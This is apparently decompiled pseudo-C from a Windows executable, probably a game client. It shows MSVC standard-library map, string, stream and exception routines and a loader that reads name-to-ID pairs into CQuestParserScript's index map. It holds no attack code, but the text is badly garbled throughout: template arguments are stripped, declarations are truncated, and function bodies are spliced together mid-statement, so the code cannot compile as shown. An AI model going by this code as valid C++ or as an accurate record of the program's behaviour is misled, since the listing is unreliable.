std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v3; // ebx@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Isnil; v2 = i ) { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( v3, i->_Right); i = i->_Left; std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::__Node(v2); operator delete(v2); } } //----- (005FAB80) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v5; // edi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v6; // ecx@4 int v7; // eax@4 int v8; // eax@7 int v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st _Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( *((_DWORD *)this + 2) >= (unsigned int)&wholesaver.ws_savestore[1485].esc_skill.buffer[27530] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(this, *((std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Left = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_Right = (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 44) ) { if ( v11 == *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 44) = 1; *(_BYTE *)(v14 + 44) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 44) = 0; v11 = *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; *(_BYTE *)(*(_DWORD *)(*((_DWORD *)v5 + 1) + 4) + 44) = 1; *result = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005FAD30) -------------------------------------------------------- void __thiscall std::basic_ifstream>::_vbase_destructor(std::basic_ifstream > *this) { std::basic_ios > *v1; // esi@1 v1 = (std::basic_ios > *)this->gap64; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)((char *)this + 100)); std::basic_ios>::_basic_ios>(v1); } //----- (005FAD50) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert(...) { int v3; // ebp@1 std::pair,std::allocator > const ,int> *v4; // ebx@1 char v5; // al@1 std::pair,std::allocator > const ,int> *v6; // edi@1 unsigned int i; // ecx@2 unsigned int v8; // ebx@4 const char *v9; // eax@5 unsigned int v10; // edx@7 int v11; // ecx@10 const char *v12; // esi@13 int v13; // eax@15 bool v14; // sf@15 unsigned __int8 v15; // of@15 signed int v16; // eax@17 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v17; // esi@25 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v18; // ecx@27 std::pair,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v21; // edx@33 bool _Addleft; // [sp+10h] [bp-14h]@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *thisa; // [sp+14h] [bp-10h]@1 std::pair,std::allocator > const ,int> *_Wherenode; // [sp+20h] [bp-4h]@4 v3 = *(_DWORD *)(*((_DWORD *)this + 1) + 4); v4 = (std::pair,std::allocator > const ,int> *)*((_DWORD *)this + 1); v5 = 1; v6 = _Val; thisa = this; _Addleft = 1; if ( !*(_BYTE *)(v3 + 45) ) { for ( i = _Val->first._Mysize; ; i = _Val->first._Mysize ) { v8 = *(_DWORD *)(v3 + 32); _Wherenode = (std::pair,std::allocator > const ,int> *)v3; if ( *(_DWORD *)(v3 + 36) < 0x10u ) v9 = (const char *)(v3 + 16); else v9 = *(const char **)(v3 + 16); v10 = _Val->first._Mysize; if ( i < _Val->first._Mysize ) v10 = i; if ( !v10 ) goto LABEL_37; v11 = v10; if ( v10 >= v8 ) v11 = *(_DWORD *)(v3 + 32); v12 = (const char *)(v6->first._Myres < 0x10 ? &v6->first._Bx : *(_DWORD *)&v6->first._Bx._Buf[0]); v13 = strncmp(v12, v9, v11); v15 = 0; v14 = v13 < 0; v6 = _Val; if ( !v13 ) { LABEL_37: if ( v10 >= v8 ) v16 = v10 != v8; else v16 = -1; v15 = 0; v14 = v16 < 0; } v5 = v14 ^ v15; _Addleft = v14 ^ v15; v3 = v14 ^ v15 ? *(_DWORD *)v3 : *(_DWORD *)(v3 + 8); if ( *(_BYTE *)(v3 + 45) ) break; } v4 = _Wherenode; this = thisa; } v17 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)v4; _Val = v4; if ( v5 ) { if ( v4 == **((std::pair,std::allocator > const ,int> ***)this + 1) ) { v18 = *std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert( this, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val, 1, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocatorfirst = v18; result->second = 1; return v19; } std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val); v17 = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)_Val; } if ( v6->first._Myres < 0x10 ) v20 = (const char *)&v6->first._Bx; else v20 = *(const char **)&v6->first._Bx._Buf[0]; if ( std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)(v17 + 12), 0, *(_DWORD *)(v17 + 32), v20, v6->first._Mysize) >= 0 ) { v19 = result; result->first = v17; result->second = 0; } else { v21 = *std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert( thisa, (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&_Val, _Addleft, (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocatorfirst = v21; result->second = 1; } return v19; } //----- (005FAED0) -------------------------------------------------------- void *__thiscall std::basic_ifstream>::_vector_deleting_destructor_(std::basic_ifstream > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 100; v3 = (std::basic_ios > *)this; std::basic_ifstream>::_basic_ifstream>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FAF00) -------------------------------------------------------- int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...) { std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v4; // ebx@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v5; // esi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v6; // edi@1 int v7; // eax@1 int v8; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *v9; // eax@3 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st j; // eax@7 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = *((_DWORD *)this + 1); if ( _First != *(_DWORD *)v7 || _Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(v5 + 45) ) { v11 = *(_DWORD *)(v5 + 8); if ( *(_BYTE *)(v11 + 45) ) { for ( i = *(_DWORD *)(v5 + 4); !*(_BYTE *)(i + 45); i = *(_DWORD *)(i + 4) ) { if ( v5 != *(_DWORD *)(i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(_DWORD *)(v5 + 8); for ( j = *(_DWORD *)v11; !*(_BYTE *)(j + 45); j = *(_DWORD *)j ) v5 = j; } } std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *result = v5; } else { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( this, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator > *v7; // eax@8 int v8; // ecx@9 int v9; // edx@12 const char *v10; // eax@12 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int> *v15; // esi@23 bool v16; // al@43 std::basic_string,std::allocator > v17; // [sp-20h] [bp-1F0h]@23 char v18; // [sp-1Ch] [bp-1ECh]@23 int v19; // [sp-Ch] [bp-1DCh]@23 signed int v20; // [sp-8h] [bp-1D8h]@23 int v21; // [sp-4h] [bp-1D4h]@12 std::basic_streambuf > *v22; // [sp+10h] [bp-1C0h]@1 int v23; // [sp+14h] [bp-1BCh]@1 int nID; // [sp+18h] [bp-1B8h]@14 int v25; // [sp+1Ch] [bp-1B4h]@21 std::pair,std::allocator > const ,int> _Val; // [sp+20h] [bp-1B0h]@23 int result; // [sp+40h] [bp-190h]@23 void *p; // [sp+44h] [bp-18Ch]@26 int v29; // [sp+54h] [bp-17Ch]@27 unsigned int v30; // [sp+58h] [bp-178h]@25 int LineStream; // [sp+60h] [bp-170h]@12 int v32; // [sp+68h] [bp-168h]@12 std::basic_streambuf > _Strbuf; // [sp+6Ch] [bp-164h]@12 int (__thiscall **v34)(void *, char); // [sp+B4h] [bp-11Ch]@12 int LoadFile; // [sp+E8h] [bp-E8h]@1 std::basic_filebuf > this; // [sp+F0h] [bp-E0h]@1 int (__thiscall **v37)(void *, char); // [sp+14Ch] [bp-84h]@6 char v38; // [sp+180h] [bp-50h]@23 char Index; // [sp+188h] [bp-48h]@14 void *v40; // [sp+18Ch] [bp-44h]@14 unsigned int _N0; // [sp+19Ch] [bp-34h]@14 unsigned int v42; // [sp+1A0h] [bp-30h]@14 char strLine; // [sp+1A4h] [bp-2Ch]@8 void *_Ptr; // [sp+1A8h] [bp-28h]@7 size_t _Count; // [sp+1B8h] [bp-18h]@7 unsigned int v46; // [sp+1BCh] [bp-14h]@7 unsigned int v47; // [sp+1C0h] [bp-10h]@1 int v48; // [sp+1CCh] [bp-4h]@1 v47 = (unsigned int)&v22 ^ __security_cookie; v23 = 0; std::basic_ifstream>::basic_ifstream>((std::basic_ifstream > *)&LoadFile); v48 = 0; if ( !std::basic_filebuf>::open(&this, pkFileName, 1, 438) ) { v1 = *(_DWORD *)(LoadFile + 4); v2 = *(int *)((char *)&this.baseclass_0.vfptr + v1); v3 = *(int *)((char *)&this.baseclass_0._IGnext + v1); v4 = (std::ios_base *)((char *)&LoadFile + v1); v5 = v2 | 2; if ( !v3 ) v5 |= 4u; std::ios_base::clear(v4, v5, 0); } if ( this._Myfile ) { std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase( &CQuestParserScript::m_MapConvertIndexNames, *(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator>::widen( (std::basic_ios > *)((char *)&LoadFile + *(_DWORD *)(LoadFile + 4)), 10); v7 = std::getline_std::allocator>( (std::basic_istream > *)&LoadFile, (std::basic_string,std::allocator > *)&strLine, v6); v8 = (int)(v7 ? (std::basic_istream > *)((char *)v7 + *(_DWORD *)(*(_DWORD *)&v7->gap0[0] + 4)) : 0); if ( !((*(_DWORD *)(v8 + 8) & 6) == 0 ? v8 : 0) ) break; LineStream = (int)&std::basic_stringstream_std::allocator>::_vbtable_; v32 = (int)&std::basic_stringstream_std::allocator>::_vbtable_; v34 = &std::basic_ios>::_vftable_; v23 |= 1u; v21 = 0; LOBYTE(v48) = 2; std::basic_iostream>::basic_iostream>( (std::basic_iostream > *)&LineStream, &_Strbuf); v9 = *(_DWORD *)(LineStream + 4); v48 = 3; *(int *)((char *)&LineStream + v9) = (int)&std::basic_stringstream_std::allocator>::_vftable_; v22 = &_Strbuf; std::basic_streambuf>::basic_streambuf>(&_Strbuf); v10 = (const char *)_Ptr; LOBYTE(v48) = 4; _Strbuf.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; if ( v46 < 0x10 ) v10 = (const char *)&_Ptr; std::basic_stringbuf_std::allocator>::_Init( (std::basic_stringbuf,std::allocator > *)&_Strbuf, v10, _Count, 0); v42 = 15; _N0 = 0; LOBYTE(v40) = 0; LOBYTE(v48) = 6; std::operator>>_std::allocator>( (std::basic_istream > *)&LineStream, (std::basic_string,std::allocator > *)&Index); std::basic_istream>::operator>>( (std::basic_istream > *)&LineStream, &nID); if ( !_N0 ) { if ( v42 >= 0x10 ) operator delete(v40); v42 = 15; _N0 = 0; LOBYTE(v40) = 0; LOBYTE(v48) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); if ( v46 >= 0x10 ) operator delete(_Ptr); v46 = 15; _Count = 0; LOBYTE(_Ptr) = 0; v48 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)&v37); v37 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v37); goto LABEL_43; } v11 = std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound( &CQuestParserScript::m_MapConvertIndexNames, (std::basic_string,std::allocator > *)&Index); v22 = (std::basic_streambuf > *)v11; if ( v11 == (std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_Myval.first._Mysize, v11->_Myval.first._Myres < 0x10) ? (v13 = (const char *)&v11->_Myval.first._Bx) : (v13 = *(const char **)&v11->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare( (std::basic_string,std::allocator > *)&Index, 0, _N0, v13, v12) < 0) ) { v25 = dword_1535F3E4; v14 = &v25; } else { v14 = (int *)&v22; } if ( dword_1535F3E4 != *v14 ) { if ( v42 >= 0x10 ) operator delete(v40); v42 = 15; _N0 = 0; LOBYTE(v40) = 0; LOBYTE(v48) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); if ( v46 >= 0x10 ) operator delete(_Ptr); v46 = 15; _Count = 0; LOBYTE(_Ptr) = 0; v48 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)&v37); v37 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v37); goto LABEL_43; } v21 = nID; v22 = (std::basic_streambuf > *)&v17; v20 = 15; v19 = 0; v18 = 0; std::basic_string_std::allocator>::assign( &v17, (std::basic_string,std::allocator > *)&Index, 0, 0xFFFFFFFFu); v15 = std::make_pair_std::allocator>_int>( (std::pair,std::allocator >,int> *)&result, v17, v21); LOBYTE(v48) = 7; _Val.first._Myres = 15; _Val.first._Mysize = 0; _Val.first._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &_Val.first, &v15->first, 0, 0xFFFFFFFFu); _Val.second = v15->second; LOBYTE(v48) = 8; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert( &CQuestParserScript::m_MapConvertIndexNames, (std::pair,std::allocator >,int,std::less,std::allocator > >,std::allocator= 0x10 ) operator delete(*(void **)&_Val.first._Bx._Buf[0]); _Val.first._Myres = 15; _Val.first._Mysize = 0; _Val.first._Bx._Buf[0] = 0; if ( v30 >= 0x10 ) operator delete(p); v30 = 15; v29 = 0; LOBYTE(p) = 0; if ( v42 >= 0x10 ) operator delete(v40); v42 = 15; _N0 = 0; LOBYTE(v40) = 0; LOBYTE(v48) = 1; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)&v34); v34 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v34); } if ( v46 >= 0x10 ) operator delete(_Ptr); v46 = 15; _Count = 0; LOBYTE(_Ptr) = 0; v48 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)&v37); v37 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v37); } else { v48 = -1; std::basic_ifstream>::_basic_ifstream>((std::basic_ifstream > *)&v37); v37 = &std::basic_ios>::_vftable_; std::ios_base::_ios_base((std::ios_base *)&v37); } LABEL_43: __security_check_cookie((unsigned int)&v22 ^ v47); return v16; } // 650D8C: using guessed type int (__thiscall *std__basic_ios_char_std__char_traits_char_____vftable_)(void *p, char); // 650EB0: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); // 650F9C: using guessed type int (__stdcall *std__basic_stringstream_char_std__char_traits_char__std__allocator_char_____vftable_)(char); // 1535F3E4: using guessed type int dword_1535F3E4; // 1535F3E8: using guessed type int dword_1535F3E8; //----- (005FB5A0) -------------------------------------------------------- void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this) { std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *v1; // esi@1 std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st)this; v1 = this; std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st **)&this->gap4[0], *(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *)&this->gap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (005FB5D0) -------------------------------------------------------- void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this) { std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *v1; // esi@1 std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(&this->baseclass_0); *(_DWORD *)&v1->gap4[0] = v2; v2->_Isnil = 1; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 4) = *(_DWORD *)&v1->gap4[0]; **(_DWORD **)&v1->gap4[0] = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)(*(_DWORD *)&v1->gap4[0] + 8) = *(_DWORD *)&v1->gap4[0]; *(_DWORD *)&v1->gap4[4] = 0; } //----- (005FB624) -------------------------------------------------------- void __thiscall std::_String_base::_Xran(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "invalid string position"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (005FB664) -------------------------------------------------------- void __thiscall std::_String_base::_Xlen(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "string too long"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005FB6A4) -------------------------------------------------------- int __cdecl _Tolower_lk(int c, _Ctypevec *ploc) { _Ctypevec *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@5 int v5; // eax@14 int v6; // eax@16 int v7; // eax@20 int codepage; // [sp+4h] [bp-10h]@4 unsigned int handle; // [sp+8h] [bp-Ch]@2 char outbuffer[3]; // [sp+10h] [bp-4h]@16 v2 = ploc; if ( ploc ) { handle = ploc->_Hand; v3 = ploc->_Page; } else { handle = ___lc_handle_func()[2]; v3 = ___lc_codepage_func(); } codepage = v3; if ( handle ) { if ( (unsigned int)c < 0x100 ) { if ( v2 ) { if ( !(v2->_Table[c] & 1) ) return c; } else { if ( !isupper(c) ) return c; } } if ( HIBYTE(__pctype_func()[BYTE1(c)]) & 0x80 ) { LOBYTE(ploc) = BYTE1(c); *(_WORD *)((char *)&ploc + 1) = (unsigned __int8)c; v5 = 2; } else { LOWORD(ploc) = (unsigned __int8)c; v5 = 1; } v6 = __crtLCMapStringA(handle, 0x100u, (const char *)&ploc, v5, outbuffer, 3, codepage, 1); if ( v6 ) { if ( v6 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v7 = 0; BYTE1(v7) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v7; } return result; } return c; } result = c; if ( c >= 65 ) { if ( c <= 90 ) result = c + 32; } return result; } //----- (005FBA72) -------------------------------------------------------- void __cdecl _Setgloballocale(void *ptr) { if ( !registered ) { registered = 1; _Atexit(tidy_global); } global_locale = (std::locale::_Locimp *)ptr; } //----- (005FBE7C) -------------------------------------------------------- void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this) { exception *v1; // esi@1 v1 = (exception *)this; this->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::_Tidy(&this->_Str, 1, 0); exception::_exception(v1); } // 689C8C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (005FBEA7) -------------------------------------------------------- void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::runtime_error::_runtime_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FBEC3) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, _Message); } // 689C8C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (005FBEFF) -------------------------------------------------------- void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::failure::_failure(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FBF1B) -------------------------------------------------------- void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this) { this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; std::runtime_error::_runtime_error(&this->baseclass_0); } // 689C98: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (005FBFEC) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, &__that->_Str); } // 689C8C: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (005FC02F) -------------------------------------------------------- void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that) { std::ios_base::failure *v2; // esi@1 v2 = this; std::runtime_error::runtime_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; } // 689C98: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (005FC047) -------------------------------------------------------- void __thiscall std::ios_base::_Init(std::ios_base *this) { std::ios_base *v1; // esi@1 void *v2; // eax@1 std::locale *v3; // eax@2 v1 = this; *(_DWORD *)&this->___u1.baseclass_4.dummy[0] = 0; this->_Except = 0; this->_Fmtfl = 513; this->_Prec = 6; this->_Wide = 0; this->_Arr = 0; this->_Calls = 0; this->_Ploc = 0; std::ios_base::clear(this, 0, 0); v2 = operator new(4u); if ( v2 ) std::locale::locale((std::locale *)v2); else v3 = 0; v1->_Ploc = v3; } //----- (005FC0BE) -------------------------------------------------------- void __thiscall std::_Mutex::_Lock(std::_Mutex *this) { _Mtxlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (005FC0C7) -------------------------------------------------------- void __thiscall std::_Mutex::_Unlock(std::_Mutex *this) { _Mtxunlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (005FC337) -------------------------------------------------------- long double __cdecl _Stold(const char *s, char **endptr, int pten) { return _Stod(s, endptr, pten); } //----- (005FC34C) -------------------------------------------------------- void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; exception::_exception(&this->baseclass_0); } // 689D44: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (005FC357) -------------------------------------------------------- void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::bad_alloc::_bad_alloc(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (005FC373) -------------------------------------------------------- void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that) { std::bad_alloc *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; } // 689D44: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (005FC3F7) -------------------------------------------------------- void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx) { DeleteCriticalSection(_Mtx); } //----- (005FC402) -------------------------------------------------------- void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx) { EnterCriticalSection(_Mtx); } //----- (005FC40D) -------------------------------------------------------- void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx) { LeaveCriticalSection(_Mtx); 